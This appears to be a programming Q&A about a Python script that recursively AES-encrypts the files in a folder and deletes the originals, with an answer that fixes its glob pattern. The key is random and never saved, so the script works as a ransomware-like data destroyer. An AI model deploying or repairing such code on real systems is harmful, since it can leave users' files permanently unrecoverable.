Search code examples
pythonpython-3.xencryptionglob

Recursive glob returns no file


import glob
import os, random, struct
from Crypto.Cipher import AES

key = str(random.randint(10000000,999999999) * 42)
startPath = 'C:\\Users\\dev\\Desktop\\test'

def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
    """ Encrypts a file using AES (CBC mode) with the
        given key.
        key:
            The encryption key - a string that must be
            either 16, 24 or 32 bytes long. Longer keys
            are more secure.
        in_filename:
            Name of the input file
        out_filename:
            If None, '<in_filename>.enc' will be used.
        chunksize:
            Sets the size of the chunk which the function
            uses to read and encrypt the file. Larger chunk
            sizes can be faster for some files and machines.
            chunksize must be divisible by 16.
    """
    if not out_filename:
        out_filename = in_filename + '.enc'

    iv = os.urandom(16) 
    encryptor = AES.new(key ,AES.MODE_CBC, iv)
    filesize = os.path.getsize(in_filename)

    with open(in_filename, 'rb') as infile:
        with open(out_filename, 'wb') as outfile:
            outfile.write(struct.pack('<Q', filesize))
            outfile.write(iv)

            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - len(chunk) % 16)

                outfile.write(encryptor.encrypt(chunk))

#Encrypts all files recursively starting from startPath
for filename in glob.iglob(startPath, recursive=True):
    if(os.path.isfile(filename)):
        print('Encrypting> ' + filename)
        encrypt_file(key, filename)
        os.remove(filename)

When running this in Python 3.7 I get no errors but nothing happens, I'm using it for work to encrypt a sensitive user directory when the user logs out, all other parts of my program work. Could someone explain what's wrong with it?


Solution

  • From the doc for glob:

    If recursive is true, the pattern “**” will match any files and zero or more directories and subdirectories. If the pattern is followed by an os.sep, only directories and subdirectories match.

    So, if you want to use glob here, you need to include this pattern:

    for filename in glob.iglob(os.path.join(startPath, '**'), recursive=True):
         # ....